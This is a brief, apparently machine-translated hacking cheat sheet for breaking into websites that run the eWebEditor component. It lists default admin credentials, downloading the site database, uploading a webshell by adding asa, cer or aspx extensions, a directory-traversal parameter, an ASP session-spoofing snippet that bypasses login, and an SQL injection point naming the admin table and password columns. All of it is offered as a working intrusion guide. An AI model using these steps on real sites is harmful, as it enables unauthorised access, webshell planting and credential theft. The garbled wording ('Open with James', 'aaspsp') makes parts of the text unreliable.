What happened on ewebeditor

Author: Dark Moon
1. Regular intrusion
Default backend: ewebeditor/admin_login.asp
Default password: admin admin888
 
2. Default Database
 
Db/ewebeditor. mdb
Sometimes it may be modified to asp or asa.
A Trojan will be uploaded to the background.
Add aaspsp or asa cer aspx php
Analysis database is required if no background is found
Open with James
 
3. See how style has asp aaspsp asa
Then we need to construct the statement
ID = 45 & style = s_exampleremote
Ewebeditor. asp? ID = 45 & style = s_exampleremote
 
4. Path Traversal Vulnerability in ewebeditor
Upload File Management --- Select a style directory (select a directory as needed)
Get:
Ewebeditor/admin_uploadfile.asp? Id = 14
Add & dir = .. after id = 14 ..
Add & dir = ../..
& Dir =.../... you can see the entire website file.
 
5. eWebEditor session Spoofing Vulnerability
 
Save as asp format and upload to website
<% Session ("eWebEditor_User") = "11111111" %>
Visit the web page and then visit Admin_Default.asp.
 
6. eweb2.7 versions are injected with the next
EWebEditor. asp? Id = 14 & style = standard
 
Http://www.2cto.com/eWebEdito216/eWebEditor. asp? Id = 14 & style = standard
 
The default Administrator table for eweb is ewebeditor_system.
The default two columns in this table are: sys_UserName and sys_userpass.